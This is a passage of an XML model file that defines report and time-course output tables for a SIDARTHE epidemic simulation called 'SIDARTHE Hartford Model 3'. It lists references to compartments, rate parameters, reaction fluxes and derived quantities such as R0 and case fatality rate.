<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration,Property=DisplayName"/>
</Header>
<Footer>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=InitialValue"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</Footer>
</Report>
<Report key="Report_8" name="TC variables, fluxes, global quantities" taskType="timeCourse" separator="	" precision="6">
<Comment>
</Comment>
<Table printTitle="1">
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value"/>
</Table>
</Report>
<Report key="Report_9" name="TC-summary2" taskType="timeCourse" separator="	" precision="10">
<Comment>
</Comment>
<Header>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=InitialValue,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="String=ImmuneRatio"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
